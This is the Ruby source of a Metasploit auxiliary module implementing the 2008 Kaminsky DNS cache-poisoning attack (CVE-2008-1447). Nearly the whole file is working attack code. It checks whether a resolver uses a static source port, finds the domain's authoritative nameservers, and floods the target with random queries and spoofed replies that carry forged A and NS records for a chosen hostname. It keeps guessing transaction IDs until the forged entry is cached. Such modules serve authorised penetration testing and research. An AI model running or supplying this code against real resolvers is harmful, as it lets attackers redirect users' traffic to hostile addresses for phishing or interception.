Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_host.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6require 'net/dns'7require 'resolv'89class MetasploitModule < Msf::Auxiliary10include Msf::Exploit::Capture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'DNS BailiWicked Host Attack',17'Description' => %q{18This exploit attacks a fairly ubiquitous flaw in DNS implementations which19Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single20malicious host entry into the target nameserver by sending random hostname21queries to the target DNS server coupled with spoofed replies to those22queries from the authoritative nameservers for that domain. Eventually, a23guessed ID will match, the spoofed packet will get accepted, and due to the24additional hostname entry being within bailiwick constraints of the original25request the malicious host entry will get cached.26},27'Author' => [ 'I)ruid', 'hdm' ],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2008-1447' ],31[ 'OSVDB', '46776'],32[ 'US-CERT-VU', '800113' ],33[ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ],34],35'DisclosureDate' => '2008-07-21',36'Notes' => {37'Stability' => [SERVICE_RESOURCE_LOSS],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)4344register_options(45[46OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),47OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),48OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),49OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),50OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),51OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),52OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),5354]55)5657deregister_options('FILTER', 'PCAPFILE')58end5960def auxiliary_commands61return {62'racer' => 'Determine the size of the window for the target server'63}64end6566def cmd_racer(*args)67targ = args[0] || rhost68dom = args[1] || 'example.com'6970if !(targ && !targ.empty?)71print_status('usage: racer [dns-server] [domain]')72return73end7475calculate_race(targ, dom)76end7778def check79targ = rhost8081srv_sock = Rex::Socket.create_udp(82'PeerHost' => targ,83'PeerPort' => 5384)8586random = false87ports = {}88lport = nil89reps = 090911.upto(30) do |i|92req = Resolv::DNS::Message.new93txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"94req.add_question(txt, Resolv::DNS::Resource::IN::TXT)95req.rd = 19697srv_sock.put(req.encode)98res, = srv_sock.recvfrom(65535, 1.0)99100if res && !res.empty?101reps += 1102res = Resolv::DNS::Message.decode(res)103res.each_answer do |name, _ttl, data|104next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)105106t_addr, t_port = ::Regexp.last_match(1).split(':')107108vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")109t_port = t_port.to_i110if lport && (lport != t_port)111random = true112end113lport = t_port114ports[t_port] ||= 0115ports[t_port] += 1116end117end118119if (i > 5) && ports.keys.empty?120break121end122end123124srv_sock.close125126if ports.keys.empty?127vprint_error('ERROR: This server is not replying to recursive requests')128return Exploit::CheckCode::Unknown129end130131if (reps < 30)132vprint_warning('WARNING: This server did not reply to all of our requests')133end134135unless random136vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')137return Exploit::CheckCode::Vulnerable138end139140ports_u = ports.keys.length141ports_r = ((ports.keys.length / 30.0) * 100).to_i142print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")143144if (ports_r != 100)145vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")146# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence147return Exploit::CheckCode::Appears148end149150Exploit::CheckCode::Safe151end152153def run154check_pcaprub_loaded # Check first.155156target = rhost157source = Rex::Socket.source_address(target)158saddr = datastore['SRCADDR']159sport = datastore['SRCPORT']160hostname = datastore['HOSTNAME'] + '.'161address = datastore['NEWADDR']162recons = datastore['RECONS']163xids = datastore['XIDS'].to_i164newttl = datastore['TTL'].to_i165xidbase = rand(20000..40000)166numxids = xids167168domain = hostname.sub(/\w+\x2e/, '')169170srv_sock = Rex::Socket.create_udp(171'PeerHost' => target,172'PeerPort' => 53173)174175# Get the source port via the metasploit service if it's not set176if sport.to_i == 0177req = Resolv::DNS::Message.new178txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"179req.add_question(txt, Resolv::DNS::Resource::IN::TXT)180req.rd = 1181182srv_sock.put(req.encode)183res, = srv_sock.recvfrom184185if res && !res.empty?186res = Resolv::DNS::Message.decode(res)187res.each_answer do |name, _ttl, data|188next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)189190t_addr, t_port = ::Regexp.last_match(1).split(':')191sport = t_port.to_i192193print_status("Switching to target port #{sport} based on Metasploit service")194if target != t_addr195print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")196end197end198end199end200201# Verify its not already cached202begin203query = Resolv::DNS::Message.new204query.add_question(hostname, Resolv::DNS::Resource::IN::A)205query.rd = 0206207loop do208cached = false209srv_sock.put(query.encode)210answer, = srv_sock.recvfrom211212if answer && !answer.empty?213answer = Resolv::DNS::Message.decode(answer)214answer.each_answer do |name, ttl, _data|215next unless ((name.to_s + '.') == hostname)216217t = Time.now + ttl218print_error("Failure: This hostname is already in the target cache: #{name}")219print_error(" Cache entry expires on #{t}... sleeping.")220cached = true221select(nil, nil, nil, ttl)222end223224end225break if !cached226end227rescue ::Interrupt228raise $ERROR_INFO229rescue StandardError => e230print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")231end232233res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver234235print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"236237# Look up the nameservers for the domain238print_status "Querying recon nameserver for #{domain}'s nameservers..."239answer0 = res0.send(domain, Net::DNS::NS)240# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"241242barbs = [] # storage for nameservers243answer0.answer.each do |rr0|244print_status " Got an #{rr0.type} record: #{rr0.inspect}"245next unless rr0.type == 'NS'246247print_status " Querying recon nameserver for address of #{rr0.nsdname}..."248answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname249# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"250answer1.answer.each do |rr1|251print_status " Got an #{rr1.type} record: #{rr1.inspect}"252res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)253print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."254answer2 = res2.send(domain, Net::DNS::SOA)255next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)256257nsrec = { name: rr0.nsdname, addr: rr1.address }258barbs << nsrec259print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"260end261end262263if barbs.empty?264print_status('No DNS servers found.')265srv_sock.close266close_pcap267return268end269270if (xids == 0)271print_status('Calculating the number of spoofed replies to send per query...')272qcnt = calculate_race(target, domain, 100)273numxids = ((qcnt * 1.5) / barbs.length).to_i274if (numxids == 0)275print_status('The server did not reply, giving up.')276srv_sock.close277close_pcap278return279end280print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")281end282283# Flood the target with queries and spoofed responses, one will eventually hit284queries = 0285responses = 0286287open_pcap unless capture288289print_status("Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")290291loop do292randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname293294# Send spoofed query295req = Resolv::DNS::Message.new296req.id = rand(2**16)297req.add_question(randhost, Resolv::DNS::Resource::IN::A)298299req.rd = 1300301src_ip = source302303if (saddr == 'Random')304src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')305end306307p = PacketFu::UDPPacket.new308p.ip_saddr = src_ip309p.ip_daddr = target310p.ip_ttl = 255311p.udp_sport = (rand((2**16) - 1024) + 1024).to_i312p.udp_dport = 53313p.payload = req.encode314p.recalc315316capture_sendto(p, target)317318queries += 1319320# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])321req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))322req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))323req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))324req.qr = 1325req.ra = 1326327# Reuse our PacketFu object328p.udp_sport = 53329p.udp_dport = sport.to_i330331xidbase.upto(xidbase + numxids - 1) do |id|332req.id = id333p.payload = req.encode334barbs.each do |barb|335p.ip_saddr = barb[:addr].to_s336p.recalc337capture_sendto(p, target)338responses += 1339end340end341342# status update343if queries % 1000 == 0344print_status("Sent #{queries} queries and #{responses} spoofed responses...")345if (xids == 0)346print_status('Recalculating the number of spoofed replies to send per query...')347qcnt = calculate_race(target, domain, 25)348numxids = ((qcnt * 1.5) / barbs.length).to_i349if (numxids == 0)350print_status('The server has stopped replying, giving up.')351srv_sock.close352close_pcap353return354end355print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")356end357end358359# every so often, check and see if the target is poisoned...360next unless queries % 250 == 0361362begin363query = Resolv::DNS::Message.new364query.add_question(hostname, Resolv::DNS::Resource::IN::A)365query.rd = 0366367srv_sock.put(query.encode)368answer, = srv_sock.recvfrom369370if answer && !answer.empty?371answer = Resolv::DNS::Message.decode(answer)372answer.each_answer do |name, ttl, data|373next unless ((name.to_s + '.') == hostname)374375print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")376print_status("TTL: #{ttl} DATA: #{data}")377close_pcap378break379end380end381rescue ::Interrupt382raise $ERROR_INFO383rescue StandardError => e384print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")385end386end387end388389#390# Send a recursive query to the target server, then flood391# the server with non-recursive queries for the same entry.392# Calculate how many non-recursive queries we receive back393# until the real server responds. This should give us a394# ballpark figure for ns->ns latency. We can repeat this395# a few times to account for each nameserver the cache server396# may query for the target domain.397#398def calculate_race(server, domain, num = 50)399cnt = 0400401times = []402403hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain404405sock = Rex::Socket.create_udp(406'PeerHost' => server,407'PeerPort' => 53408)409410req = Resolv::DNS::Message.new411req.add_question(hostname, Resolv::DNS::Resource::IN::A)412req.rd = 1413req.id = 1414415q_beg_t = Time.now.to_f416sock.put(req.encode)417req.rd = 0418419while (times.length < num)420res, = sock.recvfrom(65535, 0.01)421422if res && !res.empty?423res = Resolv::DNS::Message.decode(res)424425if (res.id == 1)426times << [Time.now.to_f - q_beg_t, cnt]427cnt = 0428429hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain430431sock.close432sock = Rex::Socket.create_udp(433'PeerHost' => server,434'PeerPort' => 53435)436437q_beg_t = Time.now.to_f438req = Resolv::DNS::Message.new439req.add_question(hostname, Resolv::DNS::Resource::IN::A)440req.rd = 1441req.id = 1442443sock.put(req.encode)444req.rd = 0445end446447cnt += 1448end449450req.id += 1451452sock.put(req.encode)453end454455min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0456max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0457sum = 0458times.each { |i| sum += i[0] }459avg_time = ((sum / times.length) * 100).to_i / 100.0460461min_count = times.map { |i| i[1] }.min462max_count = times.map { |i| i[1] }.max463sum = 0464times.each { |i| sum += i[1] }465avg_count = sum / times.length466467sock.close468469print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")470471# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)472avg_count473end474end475476477